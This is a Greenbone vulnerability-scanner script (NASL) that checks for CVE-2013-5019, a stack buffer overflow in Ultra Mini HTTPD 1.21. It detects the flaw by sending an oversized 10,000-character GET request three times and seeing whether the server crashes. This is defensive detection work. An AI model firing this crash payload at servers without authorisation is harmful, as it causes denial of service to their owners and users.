Ultra Mini HTTPD Stack Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803721");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2013-5019");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-07-16 11:19:36 +0530 (Tue, 16 Jul 2013)");
  script_name("Ultra Mini HTTPD Stack Buffer Overflow Vulnerability");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to cause
  the application to crash, creating a denial-of-service condition.");

  script_tag(name:"vuldetect", value:"Send a large crafted data via HTTP GET request and check
  the server is crashed or not.");

  script_tag(name:"affected", value:"Ultra Mini HTTPD server Version 1.21.");

  script_tag(name:"insight", value:"The flaw is due to an error when processing certain long requests and can be
  exploited to cause a denial of service via a specially crafted packet.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Ultra Mini HTTPD server is prone to stack based buffer overflow vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/26739/");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/windows/ultra-mini-httpd-121-stack-buffer-overflow");

  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

res = http_get_cache(item:"/index.html", port:port);
if(!res || ">Ultra Mini Httpd" >!< res)
  exit(0);

if(http_is_dead(port:port))
  exit(0);

req = http_get(item:string("A", crap(10000)), port:port);

for(i = 0; i < 3; i++)
  http_send_recv(port:port, data:req);

req = http_get(item:"/index.html", port:port);
res = http_send_recv(port:port, data:req);

if(!res || ">Ultra Mini Httpd" >!< res) {
  security_message(port:port);
  exit(0);
}

exit(99);